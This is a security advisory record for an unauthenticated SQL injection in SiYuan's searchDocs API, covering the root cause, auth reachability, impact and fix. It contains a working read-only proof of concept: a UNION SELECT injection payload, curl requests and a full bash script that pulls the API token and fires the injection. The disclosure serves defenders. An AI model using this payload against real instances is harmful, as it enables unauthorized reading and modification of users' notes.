{"id":"CVE-2026-69085","aliases":["GHSA-33jq-p8c2-q3q4"],"title":"SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking","summary":"SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking","severity":"critical","cvss":10,"cwe":["CWE-89"],"vendor":"siyuan-note","product":"github.com/siyuan-note/siyuan/kernel","ecosystem":"go","affected":["github.com/siyuan-note/siyuan/kernel < 0.0.0-20260721043339-eef10568384e"],"patched":["github.com/siyuan-note/siyuan/kernel 0.0.0-20260721043339-eef10568384e"],"published":"2026-10-01","updated":"2026-10-01","sourceUpdated":"2026-10-01T15:44:12Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-33jq-p8c2-q3q4","references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69085"},{"url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3"},{"url":"https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchdocs"},{"url":"https://github.com/advisories/GHSA-33jq-p8c2-q3q4"}],"tags":["ghsa","go","exploit-available"],"epss":0.01488,"epssPercentile":0.73121,"exploits":{"nuclei":["CVE-2026-69085"],"checkedAt":"2026-10-01T15:48:52.493Z"},"exploitAvailable":true,"ingestedAt":"2026-10-01T15:48:17.820Z","slug":"CVE-2026-69085","body":"## Overview\n\n### Summary\n\nThe `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance.\n\n### Details\n\nData flow, unescaped and unbound at every hop:\n\n- `searchDocs` (`kernel/api/filetree.go`): `k := arg[\"k\"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization.\n- `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString(\"(hpath LIKE '%\" + k + \"%'\")`. No escaping, no `''` doubling, no bind placeholder.\n- `NAMFilter` (`kernel/conf/search.go`): appends `\" OR name LIKE '%\" + keyword + \"%'\"` (and `alias`, `memo`) the same way, enabled by default.\n- `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `\"SELECT *, … FROM blocks WHERE type = 'd' AND \" + condition + \" ORDER BY … LIMIT …\"` passed to `query(sqlStmt)`.\n\nThe only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement.\n\n**Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them.\n\n**Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution.\n\n**Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped.\n\n### Impact\n\nAn unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`).\n\n## Root cause\nThe keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding:\n\n- `SearchDocs` builds each condition as `(hpath LIKE '%<token>%' ...)` (`file.go:199`).\n- `NAMFilter` appends `OR name LIKE '%<token>%'`, `alias`, `memo` the same way (`search.go:135-142`).\n- `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n>` and calls `query()` (`block_query.go:74-75`).\n- `query()` calls `db.Query()` with **no** call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`).\n\nThe only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize.\n\n## Reachability / auth tier\n- Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`.\n- The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. \n- The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter.\n- Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded.\n\n## Proof of concept (read-only discloses `sqlite_version()`)\n\nDemonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified.\n\n### 1. Prerequisites\n- A local SiYuan kernel running (default `http://127.0.0.1:6806`).\n- The API token from **Settings > About > API token** (omit if no access-auth code is set).\n- One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`.\n\n### 2. Why the payload is shaped this way\n- The kernel places the keyword as `hpath LIKE '%<K>%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`.\n- The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments.\n- `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field.\n\n## 3. PoC\n\n1. Open the web UI once (unlocks + ensures a notebook is open)\n\n1. Browser > `http://127.0.0.1:6806`\n2. Enter the access-auth code: `poctestcode`\n3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click ＋ > New notebook, name it anything, and make sure it's open (bold, not greyed).\n\n2. Grab the API token\n\n```\ndocker exec siyuan-poc grep -o '\"token\":\"[^\"]*\"' /siyuan/workspace/conf/conf.json\nTOKEN=\"paste_the_token_value_here\"\n```\n\n3. Get the open notebook's ID\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/notebook/lsNotebooks\" -H \"Authorization: Token $TOKEN\"`\nCopy an id whose \"closed\":false, then: `BOX_ID=\"paste_that_id_here\"`\n\n4. Build the request body\n\n```\ncat > body.json <<EOF\n{\"k\":\"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"}\nEOF\n```\n\n(The heredoc substitutes $BOX_ID for you, no manual editing.)\n\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o '\"path\":\"[0-9][^\"]*\"'`\nExpected: the SQLite version string, e.g. `\"path\":\"3.45.1\"`, proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d '{\"k\":\"poc\"}' | grep -o '\"path\":\"[0-9][^\"]*\"'`   # returns nothing\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\n---\nIf Step 5 returns empty:\n5. Fire the injection\n\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d @body.json | grep -o '\"path\":\"[0-9][^\"]*\"'`\nExpected: the SQLite version string, e.g. \"path\":\"3.45.1\", proof the keyword was executed as SQL. Screenshot this for the advisory.\n\n6. Confirm the row is genuinely injected (optional sanity check)\n\nRun the same request with a benign keyword and confirm no version appears:\n`curl -s -X POST \"http://127.0.0.1:6806/api/filetree/searchDocs\" -H \"Content-Type: application/json\" -H \"Authorization: Token $TOKEN\" -d '{\"k\":\"poc\"}' | grep -o '\"path\":\"[0-9][^\"]*\"'`   # returns nothing\n\nThe differential (version appears only with the crafted keyword) is clean evidence for the report.\n\nOr you can use this script to do the whole process at once:\n\n```\n#!/usr/bin/env bash\n#\n# siyuan_sqli_poc.sh\n# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing\n# sqlite_version() through the search response. Modifies NO data.\n\nset -u\nexport MSYS_NO_PATHCONV=1   # stop Git Bash from mangling container-absolute paths\n\n# ---- config ---------------------------------------------------------------\nBASE=\"${BASE:-http://127.0.0.1:6806}\"\nCONTAINER=\"${CONTAINER:-siyuan-poc}\"\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nCONF=\"/siyuan/workspace/conf/conf.json\"\n# ---------------------------------------------------------------------------\n\nsay()  { printf '\\n\\033[1m== %s\\033[0m\\n' \"$*\"; }\nok()   { printf '\\033[32m[OK]\\033[0m %s\\n' \"$*\"; }\nwarn() { printf '\\033[33m[!!]\\033[0m %s\\n' \"$*\"; }\ndie()  { printf '\\033[31m[XX]\\033[0m %s\\n' \"$*\"; exit 1; }\n\n# 1. container up?\nsay \"Checking container\"\ndocker ps --format '{{.Names}}' | grep -qx \"$CONTAINER\" \\\n  || die \"Container '$CONTAINER' is not running. Start it, then re-run.\"\nok \"container '$CONTAINER' is running\"\n\n# 2. API alive?\nsay \"Waiting for kernel API\"\nfor i in $(seq 1 30); do\n  if curl -sf \"$BASE/api/system/version\" >/dev/null 2>&1; then\n    ok \"API responding at $BASE\"; break\n  fi\n  sleep 1\n  [ \"$i\" = 30 ] && die \"API not responding. Open $BASE in a browser, enter the access code, then re-run.\"\ndone\n\n# 3. token from conf.json\nsay \"Reading API token\"\nTOKEN=$(docker exec \"$CONTAINER\" cat \"$CONF\" 2>/dev/null \\\n  | grep -oE '\"token\"[[:space:]]*:[[:space:]]*\"[^\"]*\"' | head -1 \\\n  | sed -E 's/.*:[[:space:]]*\"([^\"]*)\".*/\\1/')\nif [ -n \"$TOKEN\" ]; then\n  ok \"token found\"\n  AUTH=(-H \"Authorization: Token $TOKEN\")\nelse\n  warn \"no token in conf.json (instance may not be initialized, or auth is disabled).\"\n  warn \"  -> open $BASE, enter the access code, let the UI load, then re-run.\"\n  AUTH=()\nfi\n\n# 4. an OPEN notebook id\nsay \"Finding an open notebook\"\nNB=$(curl -s -X POST \"$BASE/api/notebook/lsNotebooks\" \"${AUTH[@]}\")\nBOX_ID=$(echo \"$NB\" | tr '}' '\\n' | grep '\"closed\":false' \\\n  | grep -oE '\"id\":\"[^\"]+\"' | head -1 | sed -E 's/\"id\":\"([^\"]+)\"/\\1/')\n[ -n \"$BOX_ID\" ] || die \"No OPEN notebook found. Open one in the UI ($BASE) and re-run.  Raw: $NB\"\nok \"using open notebook: $BOX_ID\"\n\n# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())\nsay \"Building request body\"\nPAYLOAD=\"poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--\"\nprintf '{\"k\":\"%s\"}' \"$PAYLOAD\" > body.json\nok \"wrote body.json\"\n\n# 6. fire the injection\nsay \"Sending injection\"\nRESP=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d @body.json)\nVER=$(echo \"$RESP\" | grep -oE '\"path\":\"[0-9][^\"]*\"' | head -1 | sed -E 's/\"path\":\"([^\"]*)\"/\\1/')\n\n# 7. benign differential (must NOT return a version)\nBENIGN=$(curl -s -X POST \"$BASE/api/filetree/searchDocs\" \\\n  -H \"Content-Type: application/json\" \"${AUTH[@]}\" -d '{\"k\":\"poc\"}' \\\n  | grep -oE '\"path\":\"[0-9][^\"]*\"' | head -1)\n\n# 8. verdict\nsay \"Result\"\nif [ -n \"$VER\" ] && [ -z \"$BENIGN\" ]; then\n  ok \"SQL injection CONFIRMED\"\n  printf '     leaked sqlite_version() = \\033[1m%s\\033[0m\\n' \"$VER\"\n  printf '     (benign keyword returned no version -> value came from injected SQL)\\n'\nelse\n  warn \"no version surfaced. Checking kernel log for the assembled statement...\"\n  docker exec \"$CONTAINER\" sh -c 'grep \"sql query\" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true\n  warn \"If you see 'sql query [...] failed', it's a column-count mismatch on this build.\"\n  warn \"If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook.\"\n  printf '     raw response: %s\\n' \"$RESP\"\nfi\n```\n`bash siyuan_sqli_poc.sh`\n\n<img width=\"809\" height=\"376\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4\" />\n\n### Suggested fix\n\nParameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `'` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs > query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.\n\n## Affected packages\n\n- `github.com/siyuan-note/siyuan/kernel < 0.0.0-20260721043339-eef10568384e`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/siyuan-note/siyuan/kernel 0.0.0-20260721043339-eef10568384e`","depth":"abyssal","depthScore":67,"depthScoreParts":{"impact":55,"likelihood":0.3,"exploitation":12,"ransomware":0},"changes":[]}